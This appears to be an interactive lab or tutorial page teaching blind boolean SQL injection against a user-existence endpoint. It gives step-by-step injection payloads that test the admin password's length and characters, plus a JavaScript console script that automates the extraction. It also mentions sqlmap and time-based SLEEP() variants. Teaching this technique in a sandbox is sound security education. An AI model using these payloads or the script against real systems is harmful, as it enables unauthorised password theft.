This endpoint just tells you whether a user with the given ID exists — yes or no. No data leaks visibly. But you can still extract information by asking yes/no questions, one bit at a time. Recover admin's password.
1
Real user, exists.
9999
Doesn't exist. The "false" baseline.
1 AND 1=1
Always true — should return "exists" (proves the AND is being parsed).
1 AND 1=2
Always false — should return "not found". Proves injection works.
1 AND (SELECT length(password) FROM users WHERE username='admin')=15
Is admin's password 15 characters long? Adjust the number until "exists".
1 AND (SELECT substr(password,1,1) FROM users WHERE username='admin')='a'
Is admin's password's first character 'a'? Iterate through letters.
1 AND (SELECT substr(password,1,1) FROM users WHERE username='admin') > 'm'
Binary search by ASCII value — much faster than testing every char.
Manual extraction is tedious. In real engagements, attackers automate this with scripts like sqlmap. You can run a tiny version right now in your browser console (open DevTools, paste this):
// Recover admin password through the boolean oracle async function extractPassword() { let password = ''; const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*_-'; // Find length first let length = 0; for (let i = 1; i <= 50; i++) { const q = `SELECT id FROM users WHERE id = 1 AND (SELECT length(password) FROM users WHERE username='admin')=${i}`; if (runQuery(q).length > 0) { length = i; break; } } console.log('Password length:', length); // Recover each character for (let pos = 1; pos <= length; pos++) { for (const ch of charset) { const q = `SELECT id FROM users WHERE id = 1 AND (SELECT substr(password,${pos},1) FROM users WHERE username='admin')='${ch}'`; if (runQuery(q).length > 0) { password += ch; console.log(`[${pos}]`, password); break; } } } console.log('Recovered:', password); } extractPassword();
In a real attack the script wouldn't have direct DB access — it would hit the HTTP endpoint and parse the response to determine true/false. But the principle is identical: a binary oracle + a script + patience = exfiltration.
Time-based variants — when even the boolean isn't
visible (e.g., the page returns identical content either way), attackers use SLEEP()
or expensive subqueries to make true conditions take measurably longer than false ones.